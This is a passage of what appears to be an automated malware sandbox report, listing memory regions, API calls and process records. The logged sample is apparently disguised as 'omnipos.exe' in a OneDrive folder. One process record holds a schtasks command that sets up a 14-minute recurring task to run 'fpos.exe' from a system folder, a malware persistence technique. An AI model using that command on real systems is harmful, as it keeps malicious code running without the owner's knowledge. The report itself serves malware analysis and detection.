region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5038 start_va = 0x240000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 5039 start_va = 0x2c0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 5040 start_va = 0x2c0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 5041 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 5042 start_va = 0x4c0000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 5043 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5044 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5045 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5046 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5047 start_va = 0x3c0000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 5350 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 5351 start_va = 0x5f0000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 5352 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5353 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5354 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5355 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5356 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5471 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5472 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5473 start_va = 0x1b0000 end_va = 0x1d8fff monitored = 0 entry_point = 0x1b1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5474 start_va = 0x670000 end_va = 0x7f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 5475 start_va = 0x1b0000 end_va = 0x1d8fff monitored = 0 entry_point = 0x1b1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5611 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5612 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5613 start_va = 0x800000 end_va = 0x980fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 5614 start_va = 0xdf0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000df0000" filename = "" Region: id = 5615 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5616 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5617 start_va = 0x990000 end_va = 0xa5ffff monitored = 1 entry_point = 0xa5d67e region_type = mapped_file name = "omnipos.exe" filename = "\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\omnipos.exe") Region: id = 5618 start_va = 0x990000 end_va = 0xa5ffff monitored = 1 entry_point = 0xa5d67e region_type = mapped_file name = "omnipos.exe" filename = "\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\omnipos.exe") Region: id = 5706 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5707 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5708 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5709 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5710 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5711 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5788 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 5789 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 5790 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 5791 start_va = 0x7fe90810000 end_va = 0x7fe9081ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90810000" filename = "" Region: id = 5792 start_va = 0x7fe90820000 end_va = 0x7fe9082ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90820000" filename = "" Region: id = 5793 start_va = 0x7fe90830000 end_va = 0x7fe908bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90830000" filename = "" Region: id = 5794 start_va = 0x7fe908c0000 end_va = 0x7fe9092ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe908c0000" filename = "" Region: id = 5795 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5796 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5797 start_va = 0x990000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 5798 start_va = 0x3c0000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 5799 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 5840 start_va = 0x21f0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 5841 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5842 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 5843 start_va = 0x22f0000 end_va = 0x1a2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022f0000" filename = "" Region: id = 5899 start_va = 0x1a2f0000 end_va = 0x1a66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a2f0000" filename = "" Region: id = 5900 start_va = 0xa90000 end_va = 0xb90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 5901 start_va = 0x1a6e0000 end_va = 0x1a7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6e0000" filename = "" Region: id = 5902 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 5933 start_va = 0xba0000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 5934 start_va = 0x1a890000 end_va = 0x1a98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a890000" filename = "" Region: id = 5935 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 6285 start_va = 0x1a990000 end_va = 0x1ac5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6286 start_va = 0x7feee870000 end_va = 0x7feefe6cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 6401 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6402 start_va = 0x990000 end_va = 0xa0cfff monitored = 0 entry_point = 0x99cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6403 start_va = 0xa10000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 6404 start_va = 0x990000 end_va = 0xa0cfff monitored = 0 entry_point = 0x99cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6405 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6406 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6407 start_va = 0x1ac60000 end_va = 0x1ae8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac60000" filename = "" Region: id = 6440 start_va = 0x1ac60000 end_va = 0x1ad3efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ac60000" filename = "" Region: id = 6441 start_va = 0x1ae10000 end_va = 0x1ae8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae10000" filename = "" Region: id = 6442 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 6443 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 6444 start_va = 0x7fe90930000 end_va = 0x7fe909affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90930000" filename = "" Region: id = 6455 start_va = 0x7fe909b0000 end_va = 0x7fe909bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909b0000" filename = "" Region: id = 6456 start_va = 0x7fe909c0000 end_va = 0x7fe909cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909c0000" filename = "" Region: id = 6457 start_va = 0x7fef69b0000 end_va = 0x7fef69b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Thread: id = 210 os_tid = 0xcb4 [0189.748] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 Thread: id = 256 os_tid = 0xc30 Thread: id = 269 os_tid = 0xda0 [0190.391] CoGetContextToken (in: pToken=0x1a7df430 | out: pToken=0x1a7df430) returned 0x800401f0 [0190.391] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 274 os_tid = 0xdb8 Process: id = "49" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x4100c000" os_pid = "0xcb0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 14 /tr \"'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3868 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3869 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3870 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3871 start_va = 0x1c0000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3872 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3873 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3874 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3875 start_va = 0xffbf0000 end_va = 0xffc37fff monitored = 1 entry_point = 0xffc1966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3876 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3877 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3878 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3879 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3880 start_va = 0x240000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3881 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3882 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3883 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3884 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3885 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3886 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3887 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3888 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3889 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3890 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3891 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3892 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3893 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3894 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3895 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3896 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3897 start_va = 0x530000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 3898 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3899 start_va = 0x240000 end_va = 0x3c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 3900 start_va = 0x3d0000 end_va = 0x3f8fff monitored = 0 entry_point = 0x3d1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3901 start_va = 0x430000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3902 start_va = 0x3d0000 end_va = 0x3f8fff monitored = 0 entry_point = 0x3d1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3903 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3904 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3905 start_va = 0x530000 end_va = 0x6b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 3906 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 3907 start_va = 0x730000 end_va = 0x1b2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 3908 start_va = 0x3d0000 end_va = 0x3e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3909 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3910 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3911 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3912 start_va = 0x1b30000 end_va = 0x1dfefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3913 start_va = 0x1e00000 end_va = 0x1e7cfff monitored = 0 entry_point = 0x1e0cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3914 start_va = 0x1e00000 end_va = 0x1e7cfff monitored = 0 entry_point = 0x1e0cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3915 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3916 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3917 start_va = 0x1e00000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 3918 start_va = 0x1e00000 end_va = 0x1edefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 3919 start_va = 0x1f80000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 3920 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3921 start_va = 0x2020000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 3922 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3923 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3924 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 3925 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3926 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 3927 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3928 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: 